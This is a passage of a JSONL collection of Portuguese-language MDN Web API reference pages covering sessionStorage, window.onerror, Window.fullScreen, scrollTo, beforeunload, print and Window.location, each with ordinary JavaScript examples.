document.getElementById(\"campo\");\n\n// Se tivermos um valor salvo automaticamente\n// (isto só ocorrerá se a página for acidentalmente recarregada)\nif (sessionStorage.getItem(\"autosave\")) {\n  // Restaura o conteúdo da caixa de texto\n  field.value = sessionStorage.getItem(\"autosave\");\n}\n\n// Verifica as mudanças que ocorrem na caixa de texto\nfield.addEventListener(\"change\", function () {\n  // E salva o resultado dentro de um objeto session storage\n  sessionStorage.setItem(\"autosave\", field.value);\n});\n```\n\n\n**Nota:** Por favor use o artigo Using the Web Storage API para um exemplo completo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-sessionstorage-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using the Web Storage API\n* Window.localStorage (en-US)"}
{"title":"GlobalEventHandlers.onerror - APIs da Web","text":"GlobalEventHandlers.onerror\n===========================\n\nUm event handler (en-US) para o evento `error` (en-US) . Eventos de erro são disparados contra diversos tipos de alvos, para diferentes tipos de erros:\n\n* Quando um **erro de execução (runtime error) de JavaScript** (incluindo erros de sintaxe) ocorrem, um evento `error` (en-US) usando a interface `ErrorEvent` (en-US) é disparado no `window` e `window.onerror()` é invocado.\n* Quando um recurso (como um `<img>` ou `<script>`) **falha na inicialização**, um evento `error` (en-US) usando a interface `Event` é disparado no elemento , que inicializa o load e o `onerror()` handler do elemento é invocado. Esse evento de erro emergem para a janela, mas (pelo menos no Firefox) pode ser manipulado com uma captura única `window.addEventListener` (en-US).\n\nInstalando um manipulador de eventos de erro global é útil para compilação automatizada de relatórios de erro.\n\nSintaxe\n-------\n\nPor questões históricas, diferentes argumentos são passados para os manipuladores window.onerror e element.onerror;\n\n### window.onerror\n\n\n```js\nwindow.onerror = function(message, source, lineno, colno, error) { ... }\n```\n\n\nParâmetros da função:\n\n* `message`: mensagem de erro (string). Disponível como `event` (sic!) no manipulador HTML `onerror=\"\"` .\n* `source`: URL do script onde o erro foi disparado(string)\n* `lineno`: Número da linha onde o evento foi disparado (number)\n* `colno`: Número da coluna para a linha onde o evento ocorreu (number)\n* `error`: Error Object (object)\n\nQuando a função retorna verdadeira, ela evita o disparo do manipulador de evento padrão\n\n### element.onerror\n\n\n```js\nelement.onerror = function(event) { ... }\n```\n\n\n`element.onerror` aceita uma função dom um único argumento do tipo `Event`.\n\nNotas\n-----\n\nQuando um erro de sintaxe\\*\\*(?)\\*\\* ocorre em um script, carregado de uma origem diferente (en-US), os detalhes do erro de sintaxe não são reportados para previnir vazamento de informações (veja Erro do Firefox 363897). Ao invés de exibir simplesmente **`\"Script error.\" (erro de script)`**, este comportamento pode ser sobrescrito em alguns navegadores usando o atributo `crossorigin` no `<script>` e tendo o servidor enviado os cabeçalhos HTTP CORS apropriados. Uma solução alternativa é isolar o \"Script error.\" e manipulá-lo sabendo que o detalhe do erro é visível somente no console do navegador e não acessível através do JavaScript.\n\n\n```js\nwindow.onerror = function (msg, url, lineNo, columnNo, error) {\n  var string = msg.toLowerCase();\n  var substring = \"script error\";\n  if (string.indexOf(substring) > -1) {\n    alert(\"Script Error: See Browser Console for Detail\");\n  } else {\n    alert(msg, url, lineNo, columnNo, error);\n  }\n  return false;\n};\n```\n\n\nQuando usamos a marcação HTML inline (`<body onerror=\"alert('an error occurred')\">`), a especificação HTML requer argumentos passados para o `onerror` identificados como `event`, `source`, `lineno`, `colno`, `error`. Os navegadors que não implementam este requerimento, podem ainda serem obtidos por `arguments[0]` até `arguments[2]`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # event-error |\n| HTML Standard # handler-onerror |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Capture e reporte erros JavaScript com window.onerror (blog.getsentry.com, 2016)\n* Como capturar erros JavaScript com window.onerror (mesmo no Chrome ou Firefox) (danlimerick.wordpress.com, 2014)"}
{"title":"Window.fullScreen - APIs da Web","text":"Window.fullScreen\n=================\n\nSumário\n-------\n\nEsta propriedade indica se a janela está sendo exibida em modo de tela cheia (\"*full screen*\") ou não. Ela é confiável apenas no Gecko 1.9 (Firefox 3) e posteriores, veja as Notas abaixo.\n\nSintaxe\n-------\n```\n\nisInFullScreen = windowRef.fullScreen;\n```\n\n\nCom \"*chrome privileges*\" (privilégios para acesso a funções de baixo nível), a propriedade é de leitura e escrita, caso contrário é de apenas leitura. Tenha em mente que se você tentar definir esta propriedade sem *chrome privileges*, isto não irá gerar uma excessão; ao invés disto, irá simples e silenciosamente falhar. Isto é para prevenir que *scripts* projetados para definir esta propriedade no Internet Explorer se quebrem.\n\nValor de Retorno\n----------------\n\n`isInFullScreen`\n\nUm booleano. Valores possíveis:\n\n* `true`: A janela está em modo de tela cheia.\n* `false`: A janela não está em modo de tela cheia.\n\nExemplos\n--------\n\n{{todo}}Especificações\n--------------\n\n#### No specification found\n\nNo specification data found for `api.Window.fullScreen`.  \nCheck for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas\n-----\n\n* Esta propriedade só é confiável no Mozilla 1.9 (Firefox 3) e posteriores. Mozilla 1.8 e anteriores têm esta propriedade, mas sempre retorna `false`, mesmo quando a janela está em modo de tela cheia (Erro do Firefox 127013).\n* Alternar entre a janela normal e tela cheia irá disparar o evento \"resize\" na janela correspondente."}
{"title":"Window.scrollTo() - APIs da Web","text":"Window.scrollTo()\n=================\n\nResumo\n------\n\nRealiza a rolagem para um conjunto de coordenadas em particular em um documento.\n\nSintaxe\n-------\n```\n\nwindow.scrollTo(x-coord, y-coord)\n```\n\n### Parâmetros\n\n* `x-coord` é o pixel do eixo horizontal do documento que você quer exibir no canto superior esquerdo.\n* `y-coord` é o pixel do eixo vertical do documento que você quer exibir no canto superior esquerdo.\nExemplo\n-------\n\n\n```js\nwindow.scrollTo(0, 1000);\n```\n\nNotas\n-----\n\nEssa função é efetivamente a mesma que window.scroll (en-US). Para rolagem relativa, veja window.scrollBy (en-US), window.scrollByLines (en-US) e window.scrollByPages (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-window-scrollto |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"beforeunload - APIs da Web","text":"beforeunload\n============\n\nO evento **`beforeunload`** é disparado quando o *window*, o *document* e seus recursos estão prestes a ser descarregados.\n\nQuando uma *string* é atribuída na propriedade `returnValue` do *Event*, uma caixa de díalogo aparecerá solicitando ao usuário uma confirmação para sair da página (veja exemplo abaixo). Quando nenhum valor é fornecido, o evento é processado silenciosamente.\n\n|  |  |\n| --- | --- |\n| Bubbles | Não |\n| Cancelable | Sim |\n| Target objects | defaultView |\n| Interface | `Event` |\n\nPropriedades\n------------\n\n| Propriedade | Tipo | Descrição |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | O evento alvo (the topmost target in the DOM tree). |\n| `type` Somente leitura  | `DOMString` | O tipo de evento. |\n| `bubbles` Somente leitura  | `Boolean` | O evento é normalmente *bubble*? |\n| `cancelable` Somente leitura  | `Boolean` | É possível cancelar o evento? |\n| `returnValue` | `DOMString` | O valor de retorno do evento (a mensagem que será exibida ao usuário). |\n\nExemplos\n--------\n\n\n```js\nwindow.addEventListener(\"beforeunload\", function (event) {\n  event.returnValue = \"\\\\o/\";\n});\n\n// equivalente a\nwindow.addEventListener(\"beforeunload\", function (event) {\n  event.preventDefault();\n});\n```\n\n\nNavegadores baseados no WebKit não seguem a especificação para caixas de diálogo. Um exemplo que funcionaria na maioria dos navegadores seria aproximadamente o seguinte:\n\n\n```js\nwindow.addEventListener(\"beforeunload\", function (e) {\n  var confirmationMessage = \"\\\\o/\";\n\n  e.returnValue = confirmationMessage; // Gecko, Trident, Chrome 34+\n  return confirmationMessage; // Gecko, WebKit, Chrome <34\n});\n```\n\nNotas\n-----\n\nQuando este evento retorna um valor não vazio (*non-void*), é solicitada ao usuário uma confirmação para descarregar a página. Na maioria dos navegadores o valor retornado no evento é exibido como mensagem nessa confirmação. No Firefox 4 e versões anteriores a *string* retornada não é exibida para o usuário. Ao invés disso, o Firefox exibe a mensagem \"Esta página está perguntanto se você deseja sair - é possível que as alterações feitas não sejam salvas.\" Veja Erro do Firefox 588292.\n\nDesde 25 de maio de 2011 a especificação HTML5 define que chamadas aos métodos `window.alert()`, `window.confirm()` e `window.prompt()` serão ignoradas durante este evento. Para mais detalhes veja a especificação HTML5 (em inglês).\n\nNote também que vários navegadores para celular ignoram o resultado deste evento (isso que dizer que eles não solicitam a confirmação do usuário). O Firefox possui uma configuração escondida em *about:config* que faz o mesmo. Em essência, isto significa que o usuário estará sempre confirmando que o documento pode ser descarregado.\n\nVeja também\n-----------\n\n* `DOMContentLoaded (en-US)`\n* `readystatechange (en-US)`\n* `load (en-US)`\n* `unload (en-US)`\n* Descarregando documentos — Confirmando para descarregar o documento (em inglês)"}
{"title":"Window.print() - APIs da Web","text":"Window.print()\n==============\n\nSumário\n-------\n\nAbre a janela de impressão para imprimir o documento atual.\n\nSintaxe\n-------\n\n\n```js\nprint()\n```\n\n### Parameters\n\nNone.\n\n### Return value\n\nNone (`undefined`).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # printing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Printing\n* `beforeprint` (en-US) event\n* `afterprint` (en-US) event"}
{"title":"Window.location - APIs da Web","text":"Window.location\n===============\n\nO \\*\\*`Window.location`\\*\\*é uma propriedade de leitura que retorna um objeto `Location` com informações de localização do documento atual.\n\nEmbora `Window.location` seja apenas um objeto de leitura de localização, você pode também atribuir uma `DOMString` para ele. Isto significa que você pode trabalhar com `location` como se fosse uma string na maioria dos casos: `location = 'http://www.exemplo.com'` é um sinônimo de `location.href = 'http://www.exemplo.com'`.\n\nSintaxe\n-------\n```\n\nvar oldLocation = location;\nlocation = newLocation;\n```\n\nExemplos\n--------\n\n### Exemplo básico\n\n\n```js\nalert(location); // alerta \"https://developer.mozilla.org/pt-BR/docs/Web/API/Window.location\"\n```\n\n### Exemplo #1: Navegando para uma nova página\n\nSempre que um novo valor é atribuído a um objeto de localização, um documento será carregado usando a URL como se `location.assign()` tivesse sido chamado com a URL modificada. Observe que as configurações de segurança, como CORS, pode impedir que isso aconteça de forma eficaz.\n\n\n```js\nlocation.assign(\"http://www.mozilla.org\"); // ou\nlocation = \"http://www.mozilla.org\";\n```\n\n### Exemplo #2: Forçando recerregamento da página atual do servidor\n\n\n```js\nlocation.reload(true);\n```\n\n### Exemplo #3\n\nConsidere o exemplo a seguir, que vai recarregar a página usando o método `replace()` (en-US) para inserir o valor do `location.pathname`depois da hash:\n\n\n```js\nfunction reloadPageWithHash() {\n  var initialPage = location.pathname;\n  location.replace(\"http://example.com/#\" + initialPage);\n}\n```\n\n\n> \n> \\*\\*Nota:\\*\\*O exemplo acima funciona em situações onde `location.hash` não precisa ser retida. Contudo, em navegadores baseados em Gecko, definindo `location.pathname` desta forma irá apagar qualquer informação em `location.hash`, enquanto que no WebKit(e possivelmente em outro navegador), definir o pathname não vai alterar o hash. Se você precisa mudar o pathname mas manter o hash como é, use o `método replace()`, que deve funcionar de forma consistente em todos os navegadores.\n> \n> \n> \n\n### Exemplo #4: Mostrar as propriedades da URL atual em um alerta\n\n\n```js\nfunction showLoc() {\n  var oLocation = location,\n    aLog = [\n      \"Property (Typeof): Value\",\n      \"location (\" + typeof oLocation + \"): \" + oLocation,\n    ];\n  for (var sProp in oLocation) {\n    aLog.push(\n      sProp +\n        \" (\" +\n        typeof oLocation[sProp] +\n        \"): \" +\n        (oLocation[sProp] || \"n/a\"),\n    );\n  }\n  alert(aLog.join(\"\\n\"));\n}\n\n// no html: <button onclick=\"showLoc();\">Mostrar propriedades de localização</button>\n```\n\n### Exemplo #5: Enviando uma linha de dados para o servidor para modificar a propriedade search\n\n\n```js\nfunction sendData(sData) {\n  location.search = sData;\n}\n\n// no html: <button onclick=\"sendData('Algum dado');\">Enviar dados</button>\n```\n\n\nA URL atual com \"?Some%20data\" anexada é enviada para o servidor (se nenhuma ação for captada pelo servidor, o documento atual é recarregado com o a linha de pesquisa modificada).\n\n### Exemplo #6: Usando favoritos sem mudar a propriedade `hash`\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>MDN Exemplo</title>\n    <script>\n function showNode(oNode) {\n var nLeft = 0,\n nTop = 0;\n for (\n var oItNode = oNode;\n oItNode;\n nLeft += oItNode.offsetLeft,\n nTop += oItNode.offsetTop,\n oItNode = oItNode.offsetParent\n );\n document.documentElement.scrollTop = nTop;\n document.documentElement.scrollLeft = nLeft;\n }\n\n function showBookmark(sBookmark, bUseHash) {\n if (arguments.length === 1 || bUseHash) {\n location.hash = sBookmark;\n return;\n }\n var oBookmark = document.querySelector(sBookmark);\n if (oBookmark) {\n showNode(oBookmark);\n }\n }\n </script>\n    <style>\n span.intLink {\n cursor: pointer;\n color: #0000ff;\n text-decoration: underline;\n }\n </style>\n  </head>\n\n  <body>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices\n      dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus\n      auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in\n      placerat est. Pellentesque habitant morbi tristique senectus et netus et\n      malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor.\n      Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris\n      vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla\n      consectetur aliquam purus. Curabitur convallis, justo posuere porta\n      egestas, velit erat ornare tortor, non viverra justo diam eget arcu.\n      Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit\n      a hendrerit vitae, volutpat non ipsum.\n    </p>\n    <p>\n      Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero,\n      eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt\n      rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida\n      nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat.\n      Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit.\n      Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non\n      felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et\n      fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla\n      mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent\n      bibendum condimentum feugiat.\n    </p>\n    <p id=\"myBookmark1\">\n      [&nbsp;<span class=\"intLink\" onclick=\"showBookmark('#myBookmark2');\"\n >Go to bookmark #2</span\n >&nbsp;]\n    </p>\n    <p>\n      Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin\n      ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros\n      convallis ut mollis magna pellentesque. Pellentesque placerat enim at\n      lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt\n      tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas\n      mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.\n    </p>\n    <p>\n      Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc,\n      vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis.\n      Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem\n      ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc.\n      Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem\n      ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu\n      sem vehicula egestas.\n    </p>\n    <p>\n      Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus\n      sit amet lectus vitae eros egestas pellentesque fermentum eget magna.\n      Quisque mauris nisl, gravida vitae placerat et, condimentum id metus.\n      Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae\n      sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales\n      quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in\n      mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis.\n      Pellentesque habitant morbi tristique senectus et netus et malesuada fames\n      ac turpis egestas.\n    </p>\n    <p>\n      Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem\n      ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu\n      turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra.\n      Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae\n      molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci.\n      Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit,\n      turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio\n      ante.\n    </p>\n    <p>\n      Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit\n      amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum.\n      Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim\n      turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante\n      ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae;\n      Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla\n      euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet\n      turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum,\n      diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut\n      nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.\n    </p>\n    <p>\n      Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper.\n      Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a\n      aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas,\n      ligula magna laoreet libero, eu commodo mauris odio id ante. In hac\n      habitasse platea dictumst. In pretium erat diam, nec consequat eros.\n      Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed\n      pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie\n      nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu\n      faucibus in. Curabitur id arcu est. In semper mollis lorem at\n      pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et\n      tortor. Pellentesque porttitor facilisis ultricies.\n    </p>\n    <p id=\"myBookmark2\">\n      [&nbsp;<span class=\"intLink\" onclick=\"showBookmark('#myBookmark1');\"\n >Go to bookmark #1</span\n >\n      |\n      <span class=\"intLink\" onclick=\"showBookmark('#myBookmark1', false);\"\n >Go to bookmark #1 without using location.hash</span\n >\n      |\n      <span class=\"intLink\" onclick=\"showBookmark('#myBookmark3');\"\n >Go to bookmark #3</span\n >&nbsp;]\n    </p>\n    <p>\n      Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla\n      sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque\n      tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque\n      nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut\n      libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat\n      libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie.\n      Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id\n      sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus\n      rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis\n      lacinia rutrum ipsum varius.\n    </p>\n    <p>\n      Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum\n      sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare\n      aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis\n      et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis\n      ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices\n      augue, ac sodales sem mollis in.\n    </p>\n    <p id=\"myBookmark3\"><em>Here is the bookmark #3</em></p>\n    <p>\n      Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et\n      turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim\n      enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis,\n      varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit\n      pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus.\n      Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat\n      nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed\n      vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor\n      arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat\n      malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus.\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna\n      velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas\n      nulla nisl, facilisis eu egestas scelerisque, mollis eget metus.\n      Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere\n      cubilia Curae; Morbi sed congue mi.\n    </p>\n    <p>\n      Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi.\n      Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet\n      magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et\n      pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus\n      consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed\n      consectetur. Cum sociis natoque penatibus et magnis dis parturient montes,\n      nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis\n      convallis, bibendum vitae turpis.\n    </p>\n    <p>\n      Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie\n      sollicitudin felis a porta. Mauris nec orci sit amet orci blandit\n      tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan\n      fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien\n      ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget\n      tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non.\n      Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam\n      sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer\n      egestas leo eu turpis blandit scelerisque.\n    </p>\n    <p>\n      Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi\n      gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing\n      pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante\n      condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna,\n      porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus.\n      Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing\n      eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet.\n      Proin vel odio at lacus vehicula aliquet.\n    </p>\n    <p>\n      Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper\n      malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum\n      risus, eget consequat urna laoreet nec. Etiam mollis quam non sem\n      convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis\n      ligula mattis eget vestibulum diam hendrerit. In non placerat mauris.\n      Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea\n      dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis\n      vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat\n      volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa,\n      pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.\n    </p>\n    <p>\n      Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo\n      blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et\n      ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing\n      facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum\n      ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia\n      Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est\n      eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem\n      neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non\n      velit aliquam cursus. Integer semper condimentum tortor a pellentesque.\n      Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus,\n      vitae consequat augue urna vel odio.\n    </p>\n    <p>\n      Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed\n      nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit.\n      Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis\n      neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum\n      imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui\n      tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus\n      vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis\n      libero.\n    </p>\n    <p>\n      Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed\n      consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor\n      rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit,\n      ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis\n      in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem.\n      Nullam sollicitudin magna sed sem mollis id commodo libero condimentum.\n      Duis eu massa et lacus semper molestie ut adipiscing sem.\n    </p>\n    <p>\n      Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In\n      quis varius elit. Nullam dignissim neque nec velit vulputate porttitor.\n      Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar\n      quis condimentum ut, porta nec justo. In hac habitasse platea dictumst.\n      Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque\n      placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget\n      convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut\n      tristique lacus luctus quis.\n    </p>\n    <p>\n      Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed\n      facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu\n      sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum\n      aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices\n      tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc\n      fringilla eget. Praesent scelerisque urna vitae nibh tristique varius\n      consequat neque luctus. Integer ornare, erat a porta tempus, velit justo\n      fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel\n      dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar\n      laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque\n      sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales\n      eleifend interdum.\n    </p>\n  </body>\n</html>\n```\n\n\n> \n> \\*\\*Nota:\\*\\*A função `showNode` é também um exemplo de uso do ciclo`for sem uma section statement.`Neste caso **o ponto e vírgula é sempre colocado imediatamente depois da declaração do ciclo.**\n> \n> \n> \n\n... a mesma coisa mas com uma animação de rolagem na página:\n\n\n```js\nvar showBookmark = (function () {\n  var _useHash,\n    _scrollX,\n    _scrollY,\n    _nodeX,\n    _nodeY,\n    _itFrame,\n    _scrollId = -1,\n    _bookMark,\n    /\\*\n \\* nDuration: the duration in milliseconds of each frame\n \\* nFrames: number of frames for each scroll\n \\*/\n    nDuration = 200,\n    nFrames = 10;\n\n  function \\_next() {\n    if (_itFrame > nFrames) {\n      clearInterval(_scrollId);\n      _scrollId = -1;\n      return;\n    }\n    _isBot = true;\n    document.documentElement.scrollTop = Math.round(\n      _scrollY + ((_nodeY - _scrollY) \\* _itFrame) / nFrames,\n    );\n    document.documentElement.scrollLeft = Math.round(\n      _scrollX + ((_nodeX - _scrollX) \\* _itFrame) / nFrames,\n    );\n    if (_useHash && _itFrame === nFrames) {\n      location.hash = _bookMark;\n    }\n    _itFrame++;\n  }\n\n  function \\_chkOwner() {\n    if (_isBot) {\n      _isBot = false;\n      return;\n    }\n    if (_scrollId > -1) {\n      clearInterval(_scrollId);\n      _scrollId = -1;\n    }\n  }\n\n  if (window.addEventListener) {\n    window.addEventListener(\"scroll\", _chkOwner, false);\n  } else if (window.attachEvent) {\n    window.attachEvent(\"onscroll\", _chkOwner);\n  }\n\n  return function (sBookmark, bUseHash) {\n    _scrollY = document.documentElement.scrollTop;\n    _scrollX = document.documentElement.scrollLeft;\n    _bookMark = sBookmark;\n    _useHash = arguments.length === 1 || bUseHash;\n    for (\n      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);\n      oNode;\n      nLeft += oNode.offsetLeft,\n        nTop += oNode.offsetTop,\n        oNode = oNode.offsetParent\n    );\n    (_nodeX = nLeft), (_nodeY = nTop), (_itFrame = 1);\n    if (_scrollId === -1) {\n      _scrollId = setInterval(_next, Math.round(nDuration / nFrames));\n    }\n  };\n})();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-location-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The interface of the returned value, `Location`.\n* A similar information, but attached to the browsing context (en-US), `Document.location`.\n* Manipulating the browser history\n* hashchange (en-US)"}
